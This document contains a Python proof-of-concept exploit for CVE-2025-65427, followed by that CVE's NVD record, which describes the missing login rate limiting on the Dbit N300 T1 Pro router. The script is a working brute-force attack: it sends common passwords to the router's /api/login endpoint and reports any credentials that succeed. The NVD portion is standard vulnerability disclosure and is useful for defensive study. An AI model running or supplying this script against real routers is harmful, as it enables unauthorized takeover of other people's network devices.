CVE-2025-65427

import requests import sys # CVE-2025-65427 PoC - Brute Force Login on Dbit N300 T1 Pro Router # Target: /api/login endpoint without rate limiting TARGET_URL = "http://{target_ip}/api/login" COMMON_PASSWORDS = [ "admin", "password", "1234", "12345", "root", "default", "user", "pass", "test", "123456", "password123", "admin123", "router", "setup" ] def brute_force_login(target_ip, username="admin"): """ Attempt brute force attack on router login endpoint """ print(f"[*] Starting brute force attack on {target_ip}") print(f"[*] Target endpoint: {TARGET_URL.format(target_ip=target_ip)}") print(f"[*] Testing username: {username}") success = False for password in COMMON_PASSWORDS: try: response = requests.post( TARGET_URL.format(target_ip=target_ip), json={"username": username, "password": password}, timeout=5 ) if response.status_code == 200: data = response.json() if data.get('status') == 'success' or 'token' in data: print(f"[+] SUCCESS! Valid credentials found!") print(f"[+] Username: {username}") print(f"[+] Password: {password}") print(f"[+] Response: {data}") success = True break else: print(f"[-] Failed attempt: {password}") else: print(f"[-] HTTP {response.status_code}: {password}") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") continue if not success: print("[-] Brute force completed. No valid credentials found in wordlist.") return success if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target_ip = sys.argv[1] brute_force_login(target_ip)

{"cve": {"id": "CVE-2025-65427", "sourceIdentifier": "[email protected]", "published": "2025-12-16T16:15:59.900", "lastModified": "2025-12-31T00:33:39.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Dbit N300 T1 Pro Easy Setup Wireless Wi-Fi Router on firmware version V1.0.0 does not implement rate limiting to /api/login allowing attackers to brute force password enumerations."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbitnet:dbit_n300_t1_pro_firmware:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "70807383-E273-452F-A0B0-7D2A43E2DF3F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbitnet:dbit_n300_t1_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "D4C110AA-5B09-44F5-A5EF-D284A721E4F1"}]}]}], "references": [{"url": "http://dbit.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://shenzhen.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/kirubel-cve/CVE-2025-65427", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}